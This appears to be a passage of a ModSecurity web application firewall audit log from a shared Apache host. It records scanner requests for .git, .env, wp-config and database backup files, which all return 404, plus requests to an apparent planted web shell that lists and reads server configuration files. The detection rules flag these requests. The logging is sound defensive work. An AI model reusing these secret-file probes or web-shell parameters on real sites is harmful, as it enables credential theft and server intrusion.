hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-CCAD0DwMUVKUIct3dcQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041096797568 1018089 (- - -) Stopwatch2: 1750041096797568 1018089; combined=2386, p1=376, p2=1562, p3=41, p4=66, p5=206, sr=104, sw=135, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e6ad275-Z-- --24b57b33-A-- [16/Jun/2025:08:01:42.283142 +0530] aE-CDQD0DwMUVKUIct3dcwAAAAI 185.177.72.210 55630 127.0.0.1 7081 --24b57b33-B-- GET /.git/refs/remotes/origin/master HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24b57b33-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=16eb401f82e3e5336e12ef5a2170b7bc1750041102; expires=Mon, 16 Jun 2025 03:31:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24b57b33-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/refs/remotes/origin/master"] [unique_id "aE-CDQD0DwMUVKUIct3dcwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041101627727 655497 (- - -) Stopwatch2: 1750041101627727 655497; combined=2106, p1=430, p2=1566, p3=0, p4=0, p5=110, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24b57b33-Z-- --d851301e-A-- [16/Jun/2025:08:01:53.010326 +0530] aE-CGLoFnONBt7jRcBydEgAAAA4 185.177.72.210 47000 127.0.0.1 7081 --d851301e-B-- GET /wp-config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d851301e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b6890f7241a139262698bcc1d72cdbd1750041112; expires=Mon, 16 Jun 2025 03:31:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d851301e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-config.inc"] [unique_id "aE-CGLoFnONBt7jRcBydEgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041112283653 726737 (- - -) Stopwatch2: 1750041112283653 726737; combined=2131, p1=390, p2=1642, p3=0, p4=0, p5=98, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d851301e-Z-- --2e328640-A-- [16/Jun/2025:08:01:55.242899 +0530] aE-CG0N_xpBAtP8SIP0-6QAAAAo 216.73.216.83 47294 127.0.0.1 7081 --2e328640-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fopt%2Fpsa%2Fetc%2Fmodules HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --2e328640-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2789 Connection: close Content-Type: text/html; charset=UTF-8 --2e328640-H-- Message: Warning. Matched phrase "etc/modules" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/modules found within ARGS:path: /opt/psa/etc/modules"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/modules" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/modules found within ARGS:path: /opt/psa/etc/modules"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-CG0N_xpBAtP8SIP0-6QAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041115238889 4063 (- - -) Stopwatch2: 1750041115238889 4063; combined=2126, p1=330, p2=1675, p3=39, p4=27, p5=55, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e328640-Z-- --7f8d1272-A-- [16/Jun/2025:08:01:55.335191 +0530] aE-CG2CnKbldJKSM7awgXQAAAAc 216.73.216.83 47298 127.0.0.1 7081 --7f8d1272-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2%2Fmods-available&viewfile=%2F%2Fetc%2Fapache2%2Fmods-available%2Fsetenvif.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --7f8d1272-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3530 Connection: close Content-Type: text/html; charset=UTF-8 --7f8d1272-H-- Message: Warning. Matched phrase "etc/apache2/mods-available/setenvif.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/setenvif.conf found within ARGS:viewfile: /etc/apache2/mods-available/setenvif.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/mods-available/setenvif.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/mods-available/setenvif.conf found within ARGS:viewfile: /etc/apache2/mods-available/setenvif.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-CG2CnKbldJKSM7awgXQAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750041115331014 4233 (- - -) Stopwatch2: 1750041115331014 4233; combined=2252, p1=351, p2=1779, p3=34, p4=35, p5=53, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7f8d1272-Z-- --ad56423b-A-- [16/Jun/2025:08:01:58.258717 +0530] aE-CHeOzMRjUd1ppiI2vkwAAAAQ 185.177.72.210 47556 127.0.0.1 7081 --ad56423b-B-- GET /.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad56423b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=466bc9dde89cf68d9e651d2e06d313b71750041118; expires=Mon, 16 Jun 2025 03:31:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad56423b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.local.example"] [unique_id "aE-CHeOzMRjUd1ppiI2vkwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041117590569 668229 (- - -) Stopwatch2: 1750041117590569 668229; combined=1992, p1=395, p2=1475, p3=0, p4=0, p5=122, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad56423b-Z-- --aca1a844-A-- [16/Jun/2025:08:02:00.215988 +0530] aE-CH-Mjvy_LHXlMeRAa1wAAAAU 185.177.72.210 52390 127.0.0.1 7081 --aca1a844-B-- GET /:8880/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aca1a844-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4403f2e7e76e57f07ff2fc805aaeb3971750041120; expires=Mon, 16 Jun 2025 03:32:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aca1a844-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/shop/.env"] [unique_id "aE-CH-Mjvy_LHXlMeRAa1wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041119554632 661428 (- - -) Stopwatch2: 1750041119554632 661428; combined=1964, p1=403, p2=1467, p3=0, p4=0, p5=93, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aca1a844-Z-- --69296648-A-- [16/Jun/2025:08:02:05.198293 +0530] aE-CJIkQyF8-ounHsxsOTgAAAA8 185.177.72.210 52624 127.0.0.1 7081 --69296648-B-- GET /.git/logs/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69296648-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42ff5d05aad4f067b4e0ef6a5d3457d71750041125; expires=Mon, 16 Jun 2025 03:32:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69296648-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/head"] [unique_id "aE-CJIkQyF8-ounHsxsOTgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041124511635 686721 (- - -) Stopwatch2: 1750041124511635 686721; combined=1870, p1=371, p2=1395, p3=0, p4=0, p5=103, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69296648-Z-- --7d98271e-A-- [16/Jun/2025:08:02:11.187578 +0530] aE-CKmCnKbldJKSM7awgZgAAAAc 185.177.72.210 32784 127.0.0.1 7081 --7d98271e-B-- GET /private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d98271e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42c7c6d6c826b478e0571375f7dc45671750041131; expires=Mon, 16 Jun 2025 03:32:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d98271e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env"] [unique_id "aE-CKmCnKbldJKSM7awgZgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041130544906 642758 (- - -) Stopwatch2: 1750041130544906 642758; combined=2024, p1=391, p2=1517, p3=0, p4=0, p5=115, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d98271e-Z-- --62ceb741-A-- [16/Jun/2025:08:02:16.619686 +0530] aE-CL4kQyF8-ounHsxsOVAAAAA8 185.177.72.210 33058 127.0.0.1 7081 --62ceb741-B-- GET /.git/index HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --62ceb741-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ae3bc4a11213af58cdd23934ba6c61a1750041136; expires=Mon, 16 Jun 2025 03:32:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --62ceb741-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/index"] [unique_id "aE-CL4kQyF8-ounHsxsOVAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041135963726 656023 (- - -) Stopwatch2: 1750041135963726 656023; combined=1689, p1=394, p2=1204, p3=0, p4=0, p5=90, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --62ceb741-Z-- --ac09145a-A-- [16/Jun/2025:08:02:26.057037 +0530] aE-COeMjvy_LHXlMeRAa5QAAAAU 185.177.72.210 58418 127.0.0.1 7081 --ac09145a-B-- GET /09-managing-state/begin/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac09145a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1bde23578105ebbaba62a9ff223103651750041145; expires=Mon, 16 Jun 2025 03:32:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac09145a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/09-managing-state/begin/vue-heroes/.env"] [unique_id "aE-COeMjvy_LHXlMeRAa5QAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041145392126 664974 (- - -) Stopwatch2: 1750041145392126 664974; combined=1930, p1=447, p2=1385, p3=0, p4=0, p5=98, sr=159, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac09145a-Z-- --18d49714-A-- [16/Jun/2025:08:02:34.345289 +0530] aE-CQfrb_uQIHEwgEhzeVAAAAAA 185.177.72.210 37332 127.0.0.1 7081 --18d49714-B-- GET /:10000/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --18d49714-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=adb79ace446153c1037139f34eaae8c81750041154; expires=Mon, 16 Jun 2025 03:32:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --18d49714-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/shop/.env"] [unique_id "aE-CQfrb_uQIHEwgEhzeVAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041153682628 662749 (- - -) Stopwatch2: 1750041153682628 662749; combined=2035, p1=388, p2=1517, p3=0, p4=0, p5=129, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18d49714-Z-- --799c0763-A-- [16/Jun/2025:08:02:36.352732 +0530] aE-CQ1LyTgTLRBnIBDZjrwAAAAM 185.177.72.210 37414 127.0.0.1 7081 --799c0763-B-- GET /private/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --799c0763-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d44ac62b5be06f4d5668828fc1bff0f01750041156; expires=Mon, 16 Jun 2025 03:32:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --799c0763-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private/db_backup.sql"] [unique_id "aE-CQ1LyTgTLRBnIBDZjrwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750041155670915 681898 (- - -) Stopwatch2: 1750041155670915 681898; combined=1852, p1=329, p2=1426, p3=0, p4=0, p5=96, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --799c0763-Z-- --06f9810d-A-- [16/Jun/2025:08:02:37.332322 +0530] aE-CROOzMRjUd1ppiI2vpgAAAAQ 66.249.72.129 37458 127.0.0.1 7081 --06f9810d-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 362 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _fbp=fb.1.1750032000054.919341929740069622 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --06f9810d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: _sfs_id=25db2a419bd4453d159d9a034bec34671750041157; expires=Mon, 16 Jun 2025 03:32:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Set-Cookie: PHPSESSID=si9ev8ljdemqhoquullron48dd; expires=Sun, 14 Sep 2025 02:32:37 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --06f9810d-E-- --06f9810d-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] 